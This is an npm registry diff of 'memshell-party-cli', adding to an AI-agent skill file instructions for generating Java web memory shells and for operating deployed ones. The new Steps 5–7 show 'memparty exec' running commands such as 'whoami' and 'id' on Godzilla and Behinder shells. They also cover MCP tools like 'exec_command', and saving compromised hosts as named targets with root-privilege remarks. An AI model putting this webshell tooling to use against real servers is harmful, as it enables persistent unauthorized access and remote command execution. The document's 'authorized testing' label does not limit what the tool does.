memshell-party-cli 0.2.1 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "memshell-party-cli",
3
- "version": "0.2.1",
3
+ "version": "0.3.0",
4
4
  "description": "Command-line client and MCP server for MemShellParty (party.mem.mk) — generate Java memory shells and probes from the terminal.",
5
5
  "keywords": [
6
6
  "memshell",
package/skills/SKILL.md CHANGED
@@ -1,6 +1,6 @@
1
1
  ---
2
2
  name: memshell-party
3
- description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), and verify deployed shells with `memparty connect`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, or test that a Godzilla / Behinder / suo5 shell is alive — for authorized security testing, red-team engagements, or research only.
3
+ description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, and run commands on them with `memparty exec`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, or execute commands on a Godzilla / Behinder shell — for authorized security testing, red-team engagements, or research only.
4
4
  ---
5
5
 
6
6
  # MemShellParty skill
@@ -18,7 +18,8 @@ Two equivalent interfaces — pick whichever is available:
18
18
  - **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
19
19
  - **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
20
20
  `list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
21
- `server_version`.
21
+ `server_version`, `connect_test`, `exec_command`, `target_save`, `target_note`, `target_list`,
22
+ `target_remove`, `log_list`.
22
23
 
23
24
  The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
24
25
  (`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
@@ -159,6 +160,65 @@ memparty connect -u <shell-url> -t godzilla --pass pass --key key \
159
160
  --header-name User-Agent --header-value <headerValue-from-gen-json>
160
161
  ```
161
162
 
163
+ Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
164
+ `headerName`/`headerValue`, `suo5Mode`).
165
+
166
+ ## Step 5 — Execute commands on the shell
167
+
168
+ Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
169
+ prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
170
+ `connect`:
171
+
172
+ ```bash
173
+ memparty exec -u <shell-url> -t godzilla --pass pass --key key \
174
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
175
+ --cmd "whoami"
176
+ memparty exec -u <shell-url> -t behinder --pass rebeyond \
177
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
178
+ --cmd "id"
179
+ ```
180
+
181
+ - Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
182
+ `cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
183
+ - Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
184
+ - `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
185
+
186
+ Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
187
+ `headerName`/`headerValue`).
188
+
189
+ ## Step 6 — Save targets, switch by name
190
+
191
+ Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
192
+ with an optional remark and category), then reference it as `<project>/<shell>`:
193
+
194
+ ```bash
195
+ memparty target save hw222/bh9060 -u <shell-url> -t behinder --pass rebeyond \
196
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
197
+ --remark "内网测试环境" --category test --shell-remark "root 权限"
198
+ memparty target list # everything, or --category test
199
+ memparty exec hw222/bh9060 --cmd "whoami" # no other flags needed
200
+ memparty exec hw222 --cmd "id" # bare project works when it holds one shell
201
+ ```
202
+
203
+ MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
204
+ `projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
205
+ (project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
206
+ `name: "<project>/<shell>"` to `connect_test` / `exec_command`.
207
+ The store lives at `~/.memparty/targets.json`.
208
+
209
+ ## Step 7 — Audit with the operation log
210
+
211
+ Every operation (gen, probe, connect, exec, target save/note/remove) is appended to
212
+ `~/.memparty/operations.jsonl` — no credentials, no payload bytes; exec output is truncated.
213
+ Query it to recall what was done against a target:
214
+
215
+ ```bash
216
+ memparty log --category exec --target hw222
217
+ ```
218
+
219
+ Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
220
+ actions before repeating them, or to answer "what did we run on this host?".
221
+
162
222
  ## Gotchas
163
223
 
164
224
  - **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2